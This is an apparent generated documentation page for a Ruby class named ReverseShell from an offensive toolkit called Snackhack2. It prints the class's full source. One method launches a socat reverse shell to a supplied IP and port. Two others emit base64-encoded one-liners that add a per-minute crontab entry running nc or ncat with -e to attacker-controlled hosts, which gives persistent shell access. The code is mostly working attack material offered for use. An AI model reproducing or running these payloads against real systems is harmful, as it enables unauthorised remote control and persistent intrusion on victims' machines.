Class: Snackhack2::ReverseShell

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/reverse_shell.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initializeReverseShell

Returns a new instance of ReverseShell.



8
9
10
11
# File 'lib/snackhack2/reverse_shell.rb', line 8

def initialize()
  @ip   = ip
  @port = port
end

Instance Attribute Details

#ipObject

Returns the value of attribute ip.



6
7
8
# File 'lib/snackhack2/reverse_shell.rb', line 6

def ip
  @ip
end

#portObject

Returns the value of attribute port.



6
7
8
# File 'lib/snackhack2/reverse_shell.rb', line 6

def port
  @port
end

Instance Method Details

#bashObject



27
28
29
30
# File 'lib/snackhack2/reverse_shell.rb', line 27

def bash
  c = %(bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane")
  Process.spawn(c)
end

#ncObject



13
14
15
16
17
18
# File 'lib/snackhack2/reverse_shell.rb', line 13

def nc
  c = %{#!/bin/bash
			line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
  puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
end

#ncatObject



20
21
22
23
24
25
# File 'lib/snackhack2/reverse_shell.rb', line 20

def ncat
  c = %{#!/bin/bash
			line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
  puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
end